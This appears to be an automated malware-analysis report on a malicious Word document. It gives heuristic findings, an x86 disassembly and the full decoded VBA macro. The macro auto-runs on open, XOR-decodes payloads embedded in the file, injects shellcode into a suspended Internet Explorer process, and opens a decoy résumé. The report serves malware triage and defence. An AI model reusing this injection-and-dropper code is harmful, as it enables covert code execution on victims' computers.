MALICIOUS
508
Risk Score
Malware Insights
MITRE ATT&CK
T1203 Exploitation for Client Execution
T1059.005 Visual Basic
The sample is a malicious Microsoft Word document that leverages CVE-2007-3899 to achieve arbitrary code execution. The VBA macro contains calls to WinAPI functions such as CreateRemoteThread, VirtualAllocEx, and WriteProcessMemory, indicating it's designed to inject and run shellcode. The presence of these API calls and the specific CVE exploit strongly suggest a client-side execution attack.
Heuristics 16
-
CVE-2007-3899 — Microsoft Word malformed string memory corruption critical CVE likely CVE_2007_3899Word OLE document has the MS07-060 malformed-string exploit shape: a Word 97-family FIB points to a malformed DOP/string-table region with an abnormal INT_MAX run, inflated text counters, and exploit payload or Mdropper.Z campaign evidence.
-
OLE with Ole10Native — possible CVE-2026-21514 exploitation high CVE likely CVE_2026_21514Document contains a Word OLE object with Ole10Native plus executable, PE, or risky remote-link indicators. CVE-2026-21514 exploits OLE metadata validation; this stronger structure is treated as likely exploitation.
-
ClamAV: Doc.Macro.Injection-6355574-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Macro.Injection-6355574-0
-
Reference to WriteProcessMemory API critical SC_STR_WRITEPROCESSMEMORYReference to WriteProcessMemory API
-
Reference to CreateRemoteThread API critical SC_STR_CREATEREMOTETHREADReference to CreateRemoteThread API
-
XOR-encoded strings (key 0x5A) critical SC_XOR_ENCODEDFound 1 Windows library/API name(s) XOR-encoded with single-byte key 0x5A: 'ADVAPI32.DLL'
Disassembly
Attempted x86 opcode disassembly0003C635 1b1e sbb ebx, dword ptr [esi] 0003C637 0c1b or al, 0x1b 0003C639 0a13 or dl, byte ptr [ebx] 0003C63B 6968741e16165a imul ebp, dword ptr [eax + 0x74], 0x5a16161e 0003C642 5a pop edx 0003C643 5a pop edx 0003C644 5a pop edx 0003C645 3939 cmp dword ptr [ecx], edi 0003C647 295a0f sub dword ptr [edx + 0xf], ebx 0003C64A 0e push cs 0003C64B 1c77 sbb al, 0x77 0003C64D 625a5a bound ebx, qword ptr [edx + 0x5a] 0003C650 5a pop edx 0003C651 0f0e femms 0003C653 1c77 sbb al, 0x77 0003C655 6b6c161f5a imul ebp, dword ptr [esi + edx + 0x1f], 0x5a 0003C65A 5a pop edx 0003C65B 5a pop edx 0003C65C 5a pop edx 0003C65D 0f1413 unpcklps xmm2, xmmword ptr [ebx] 0003C660 19151e1f5a1d sbb dword ptr [0x1d5a1f1e], edx 0003C666 3f aas 0003C667 2e0a28 or ch, byte ptr cs:[eax] 0003C66A 35393f2929 xor eax, 0x29293f39 0003C66F 0d33343e35 or eax, 0x353e3433 0003C674 2d092e3b2e sub eax, 0x2e3b2e09 0003C679 3335345a1d3f xor esi, dword ptr [0x3f1d5a34] 0003C67F 2e0f293f movaps xmmword ptr cs:[edi], xmm7 0003C683 281538303f39 sub byte ptr [0x393f3038], dl 0003C689 2e13343c adc esi, dword ptr cs:[esp + edi] 0003C68D 3528373b2e xor eax, 0x2e3b3728 0003C692 33 .byte 0x33 0003C693 35 .byte 0x35 0003C694 34 .byte 0x34
-
Reference to CreateProcess API high SC_STR_CREATEPROCESSReference to CreateProcess API
-
VBA macros detected medium 4 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Dim AJrHxoPdvR Set AJrHxoPdvR = CreateObject("ADODB.Stream") AJrHxoPdvR.Type = NRIiiFrAlf -
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Sub AutoOpen() VDxLHmMTIbel -
Workbook_Open macro low OLE_VBA_WBOPENWorkbook_Open macroMatched line in script
End Sub Sub Workbook_Open() VDxLHmMTIbel -
Environ() call (env variable access) low OLE_VBA_ENVIRONEnviron() call (env variable access)Matched line in script
If Len(Environ("ProgramW6432")) > 0 Then nZFigtwuGbdD = Environ("PROGRAMFILES(X86)") & "\internet explorer\iexplore.exe" -
Reference to VirtualAlloc API medium SC_STR_VIRTUALALLOCReference to VirtualAlloc API
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 3
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 9300 bytes |
SHA-256: 3aa52b0661b024835cfabae0c4abec7015b47dceb782e337975332aac8096bdc |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
87 of 148 identifiers look randomly generated (e.g. 'TDrhCQJnrifCqxr') — consistent with name-mangling obfuscation.
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Const NRIiiFrAlf = 1
Const BqqNhNUcmf = 1, rEBKXSqcKr = 2, vQgegehNfg = 8
Private Type gTdpBrvrhSQZ
NMcENjMFkRSO As Long
OCmJmXLoqHrW As Long
llivmFMqqlLI As Long
AwUTBZgtzTLq As Long
End Type
Private Type qbXAWjkAEfgV
STHpQermPhOq As Long
DmMduZYAaJZQ As String
XxzIYuAKnJVz As String
cDVJPwMVTDrv As String
JPopwcIkpOyX As Long
dxcmTnzRgvST As Long
zoRvXTaWEnio As Long
LvzlCVrVbOpk As Long
XlrUHRCPFYSZ As Long
AMuGsfcnQyUU As Long
TfvJbwmnaQuR As Long
IRzAhJZUznuP As Long
tzgDyFJtfOEd As Integer
WoRDMgqAxWQW As Integer
nqlkwbZgeyBq As Long
aggsNIAhSOdW As Long
IXVFlmllIEIa As Long
yxmnkVWPpQUG As Long
End Type
#If VBA7 Then
Private Declare PtrSafe Function OseHhJMQLqkE Lib "kernel32" Alias "CreateRemoteThread" (ByVal NMcENjMFkRSO As Long, ByVal fwfKqUhjeFFB As Long, ByVal YEmrfuUoNdfX As Long, ByVal IUezTJMJPbuW As LongPtr, HsgcuvjvFqnm As Long, ByVal muBCecVWSNNm As Long, YXhMgrppYHHQ As Long) As LongPtr
Private Declare PtrSafe Function oNeBkhkTruoY Lib "kernel32" Alias "VirtualAllocEx" (ByVal NMcENjMFkRSO As Long, ByVal SZEJYLkvBxje As Long, ByVal okoASmEaVjSH As Long, ByVal UlWATCgZYUxS As Long, ByVal uQfrJECmljBM As Long) As LongPtr
Private Declare PtrSafe Function ZqiGvZGgOSNR Lib "kernel32" Alias "WriteProcessMemory" (ByVal NMcENjMFkRSO As Long, ByVal ZqyucEzXWPoP As LongPtr, ByRef YUiRyoCVhtSY As Any, ByVal sqLPlyqerqME As Long, ByVal poujdaJfLxyX As LongPtr) As LongPtr
Private Declare PtrSafe Function WbtuVpnlDsVo Lib "kernel32" Alias "CreateProcessA" (ByVal VMFUlnPVjaxU As String, ByVal oBddFYysREmv As String, HDjIUifgzuqD As Any, fwfKqUhjeFFB As Any, ByVal fgIEpFJUJebx As Long, ByVal muBCecVWSNNm As Long, FhKMJbTWkPSE As Any, ByVal XErBjdKAytYR As String, sZzkZGuamkCC As qbXAWjkAEfgV, pCvFeAUkNNyP As gTdpBrvrhSQZ) As Long
#Else
Private Declare Function OseHhJMQLqkE Lib "kernel32" Alias "CreateRemoteThread" (ByVal NMcENjMFkRSO As Long, ByVal fwfKqUhjeFFB As Long, ByVal YEmrfuUoNdfX As Long, ByVal IUezTJMJPbuW As Long, HsgcuvjvFqnm As Long, ByVal muBCecVWSNNm As Long, YXhMgrppYHHQ As Long) As Long
Private Declare Function oNeBkhkTruoY Lib "kernel32" Alias "VirtualAllocEx" (ByVal NMcENjMFkRSO As Long, ByVal SZEJYLkvBxje As Long, ByVal okoASmEaVjSH As Long, ByVal UlWATCgZYUxS As Long, ByVal uQfrJECmljBM As Long) As Long
Private Declare Function ZqiGvZGgOSNR Lib "kernel32" Alias "WriteProcessMemory" (ByVal NMcENjMFkRSO As Long, ByVal ZqyucEzXWPoP As Long, ByRef YUiRyoCVhtSY As Any, ByVal sqLPlyqerqME As Long, ByVal poujdaJfLxyX As Long) As Long
Private Declare Function WbtuVpnlDsVo Lib "kernel32" Alias "CreateProcessA" (ByVal VMFUlnPVjaxU As String, ByVal oBddFYysREmv As String, HDjIUifgzuqD As Any, fwfKqUhjeFFB As Any, ByVal fgIEpFJUJebx As Long, ByVal muBCecVWSNNm As Long, FhKMJbTWkPSE As Any, ByVal lpCurrentDriectory As String, sZzkZGuamkCC As qbXAWjkAEfgV, pCvFeAUkNNyP As gTdpBrvrhSQZ) As Long
#End If
Sub VDxLHmMTIbel()
Dim BnoNNMaijKfg As Long, GxCztMkhlMLu As Variant, JeftPgmFKpOh As Long
Dim YDZDkZlUpgWJ As gTdpBrvrhSQZ
Dim bhfLHIGRcwXX As qbXAWjkAEfgV
Dim JlEnfwrhmGkc As String
Dim nZFigtwuGbdD As String
Dim KuXLZDAZgl As String
Dim NGLgwOfHBv() As Byte
Dim dHhZOVoVCs As Boolean
#If VBA7 Then
Dim KHgyNwkPiBDc As LongPtr, TgCxHHgYnHWt As LongPtr
#Else
Dim KHgyNwkPiBDc As Long, TgCxHHgYnHWt As Long
#End If
GxCztMkhlMLu = lbderjmx
If Len(Environ("ProgramW6432")) > 0 Then
nZFigtwuGbdD = Environ("PROGRAMFILES(X86)") & "\internet explorer\iexplore.exe"
Else
nZFigtwuGbdD = Environ("PROGRAMFILES") & "\internet explorer\iexplore.exe"
End If
TgCxHHgYnHWt = WbtuVpnlDsVo(JlEnfwrhmGkc, nZFigtwuGbdD, ByVal 0&, ByVal 0&, ByVal 1&, ByVal 4&, ByVal 0&, JlEnfwrhmGkc, bhfLHIGRcwXX, YDZDkZlUpgWJ)
KHgyNwkPiBDc = oNeBkhkTruoY(YDZDkZlUpgWJ.NMcENjMFkRSO, 0, UBound(GxCztMkhlMLu), &H1000, &H40)
For JeftPgmFKpOh = LBound(GxCztMkhlMLu) To UBound(GxCztMkhlMLu)
BnoNNMaijKfg = GxCztMkhlMLu(JeftPgmFKpOh)
TgCxHHgYnHWt = ZqiGvZGgOSNR(YDZDkZlUpgWJ.NMcENjMFkRSO, KHgyNwkPiBDc + JeftPgmFKpOh, BnoNNMaijKfg, 1, ByVal 0&)
Next JeftPgmFKpOh
TgCxHHgYnHWt = OseHhJMQLqkE(YDZDkZlUpgWJ.NMcENjMFkRSO, 0, 0, KHgyNwkPiBDc, 0, 0, 0)
KuXLZDAZgl = Environ("TEMP") & "\Resume (1).doc"
NGLgwOfHBv = dvmmoouq
dHhZOVoVCs = vSfONPrzzr(KuXLZDAZgl, NGLgwOfHBv)
Set temp = ActiveDocument
Documents.Open (KuXLZDAZgl)
temp.Close SaveChanges:=wdDoNotSaveChanges
End Sub
Function vSfONPrzzr(NygUAaOqfK, YsxbZZEgtK)
Dim AJrHxoPdvR
Set AJrHxoPdvR = CreateObject("ADODB.Stream")
AJrHxoPdvR.Type = NRIiiFrAlf
AJrHxoPdvR.Open
AJrHxoPdvR.Write YsxbZZEgtK
AJrHxoPdvR.SaveToFile NygUAaOqfK, rEBKXSqcKr
End Function
Sub AutoOpen()
VDxLHmMTIbel
End Sub
Sub Workbook_Open()
VDxLHmMTIbel
End Sub
Function lbderjmx() As Byte()
Dim ZVIoJfIFaGSIfOE() As Byte
Dim TFZYXEeUZlmopzP As Long
Dim HUiXuSHstkHhHjb(7) As Byte
Dim JeftPgmFKpOh As Long
Dim TDrhCQJnrifCqxr() As Byte
Dim dHhZOVoVCs As Boolean
ZVIoJfIFaGSIfOE = PtDMAOUBaA(ActiveDocument.FullName)
TFZYXEeUZlmopzP = xOwxkhxtfK(ZVIoJfIFaGSIfOE)
HUiXuSHstkHhHjb(0) = 50
HUiXuSHstkHhHjb(1) = 50
HUiXuSHstkHhHjb(2) = 48
HUiXuSHstkHhHjb(3) = 74
HUiXuSHstkHhHjb(4) = 85
HUiXuSHstkHhHjb(5) = 80
HUiXuSHstkHhHjb(6) = 80
HUiXuSHstkHhHjb(7) = 67
JeftPgmFKpOh = myxPEnEznm(ZVIoJfIFaGSIfOE, HUiXuSHstkHhHjb)
TDrhCQJnrifCqxr = hUOHYwtiAP(ZVIoJfIFaGSIfOE, JeftPgmFKpOh + xOwxkhxtfK(HUiXuSHstkHhHjb), 212481 - 1)
dHhZOVoVCs = lenXkJRwCo(TDrhCQJnrifCqxr, xOwxkhxtfK(TDrhCQJnrifCqxr))
lbderjmx = TDrhCQJnrifCqxr
End Function
Function dvmmoouq() As Byte()
Dim ZVIoJfIFaGSIfOE() As Byte
Dim TFZYXEeUZlmopzP As Long
Dim HUiXuSHstkHhHjb(7) As Byte
Dim JeftPgmFKpOh As Long
Dim TDrhCQJnrifCqxr() As Byte
Dim dHhZOVoVCs As Boolean
ZVIoJfIFaGSIfOE = PtDMAOUBaA(ActiveDocument.FullName)
TFZYXEeUZlmopzP = xOwxkhxtfK(ZVIoJfIFaGSIfOE)
HUiXuSHstkHhHjb(0) = 77
HUiXuSHstkHhHjb(1) = 86
HUiXuSHstkHhHjb(2) = 67
HUiXuSHstkHhHjb(3) = 71
HUiXuSHstkHhHjb(4) = 84
HUiXuSHstkHhHjb(5) = 77
HUiXuSHstkHhHjb(6) = 78
HUiXuSHstkHhHjb(7) = 89
JeftPgmFKpOh = myxPEnEznm(ZVIoJfIFaGSIfOE, HUiXuSHstkHhHjb)
TDrhCQJnrifCqxr = hUOHYwtiAP(ZVIoJfIFaGSIfOE, JeftPgmFKpOh + xOwxkhxtfK(HUiXuSHstkHhHjb), 90842 - 1)
dHhZOVoVCs = lenXkJRwCo(TDrhCQJnrifCqxr, xOwxkhxtfK(TDrhCQJnrifCqxr))
dvmmoouq = TDrhCQJnrifCqxr
End Function
Function xOwxkhxtfK(abArray() As Byte) As Long
Dim nLen As Long
xOwxkhxtfK = UBound(abArray) - LBound(abArray) + 1
End Function
Function PtDMAOUBaA(AgBWmTlLLC As String)
Dim eIAQcGBWHj() As Byte
Dim PkIVoZuMej As Integer: PkIVoZuMej = FreeFile
Open AgBWmTlLLC For Binary Access Read As #PkIVoZuMej
ReDim eIAQcGBWHj(0 To LOF(PkIVoZuMej) - 1)
Get #PkIVoZuMej, , eIAQcGBWHj
Close #PkIVoZuMej
PtDMAOUBaA = eIAQcGBWHj
End Function
Function myxPEnEznm(gtbBYyanTB() As Byte, iWKjItTzLF() As Byte) As Long
Dim fSqoSTMdTb As Boolean
Dim kGEmWdgIkt As Long
Dim aEuGjhzCkT As Long
Dim fOTwAmhgxY As Long
Dim XyPBNBKplC As Long
fSqoSTMdTb = False
fOTwAmhgxY = xOwxkhxtfK(gtbBYyanTB)
XyPBNBKplC = xOwxkhxtfK(iWKjItTzLF)
For kGEmWdgIkt = 0 To fOTwAmhgxY
fSqoSTMdTb = True
For aEuGjhzCkT = 0 To XyPBNBKplC - 1
If gtbBYyanTB(kGEmWdgIkt + aEuGjhzCkT) <> iWKjItTzLF(aEuGjhzCkT) Then
fSqoSTMdTb = False
Exit For
End If
Next aEuGjhzCkT
If fSqoSTMdTb = True Then
Exit For
End If
Next kGEmWdgIkt
If fSqoSTMdTb = False Then
myxPEnEznm = -1
Else
myxPEnEznm = kGEmWdgIkt
End If
End Function
Function hUOHYwtiAP(gtbBYyanTB() As Byte, jEsGhhVMxM As Long, doVCDICsGw As Long) As Byte()
Dim rvtitxUTyD() As Byte
Dim kGEmWdgIkt As Long
For kGEmWdgIkt = 0 To doVCDICsGw
ReDim Preserve rvtitxUTyD(kGEmWdgIkt)
rvtitxUTyD(kGEmWdgIkt) = gtbBYyanTB(jEsGhhVMxM + kGEmWdgIkt)
Next kGEmWdgIkt
hUOHYwtiAP = rvtitxUTyD
End Function
Function lenXkJRwCo(SmsKmaCfMx() As Byte, doVCDICsGw As Long)
Dim zYUrlwVwjj As Byte
Dim wVRMdzFPQx As Long
zYUrlwVwjj = 90
For wVRMdzFPQx = 0 To doVCDICsGw - 1
SmsKmaCfMx(wVRMdzFPQx) = SmsKmaCfMx(wVRMdzFPQx) Xor zYUrlwVwjj
Next wVRMdzFPQx
End Function
|
|||
ole10native_00.bin |
ole-package | OLE Ole10Native stream: ObjectPool/_1612163912/Ole10Native | 91316 bytes |
SHA-256: 9b90717be31e6d1a6df95b41aede092591a91822ed4739b975f274a8ad5a51de |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact entropy is 7.92, consistent with packed or encrypted content.
|
|||
ole10native_01.bin |
ole-package | OLE Ole10Native stream: ObjectPool/_1612163913/Ole10Native | 212955 bytes |
SHA-256: 9750264e1b3a8771460a1795cd40f8a237c288350c2bd77900dbf8a8b93f29ea |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.